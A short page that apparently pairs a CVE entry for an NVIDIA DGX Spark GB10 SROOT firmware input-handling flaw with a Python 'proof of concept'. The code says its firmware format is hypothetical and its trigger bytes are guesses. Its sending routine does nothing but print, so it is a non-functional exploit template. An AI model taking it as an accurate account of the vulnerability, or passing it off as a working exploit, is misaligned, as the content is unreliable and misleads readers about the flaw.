NVIDIA DGX Spark GB10 SROOT固件输入处理不当漏洞 (CVE-2025-33194)

#!/usr/bin/env python3 """ CVE-2025-33194 PoC - NVIDIA DGX Spark GB10 SROOT Firmware Input Validation Issue Note: This is a conceptual PoC for demonstration purposes. Actual exploitation requires physical/local access to the target device. """ import struct import sys def generate_malformed_sroot_input(): """ Generate malformed input data to trigger the SROOT firmware vulnerability. This PoC demonstrates the concept of improper input data processing. """ # SROOT firmware header structure (hypothetical) header = b'SROOT' # Magic bytes version = struct.pack('<I', 0x01) # Version field # Malformed data that could trigger improper processing # In real scenario, this would be crafted based on firmware analysis malformed_data = b'\x00' * 256 # Padding # Trigger condition: specific byte pattern trigger = b'\xFF\xFF\xFF\xFF' # Could cause integer overflow or buffer issues payload = header + version + malformed_data + trigger return payload def send_to_sroot_firmware(target_ip, payload): """ Send malformed payload to SROOT firmware. Requires local access to the device. """ print(f"[*] Target: {target_ip}") print(f"[*] Payload size: {len(payload)} bytes") print(f"[*] Sending malformed SROOT input data...") # In real exploitation, this would interface with device firmware # through debug interfaces, JTAG, or management APIs try: # Placeholder for actual exploitation code # Would typically involve: # 1. Accessing device management interface # 2. Communicating with SROOT firmware # 3. Observing information disclosure or DoS condition print("[-] This PoC requires actual device access and firmware analysis") return False except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": print("CVE-2025-33194 PoC - NVIDIA DGX Spark GB10 SROOT Firmware") print("=" * 60) if len(sys.argv) > 1: target = sys.argv[1] else: target = "localhost" payload = generate_malformed_sroot_input() send_to_sroot_firmware(target, payload)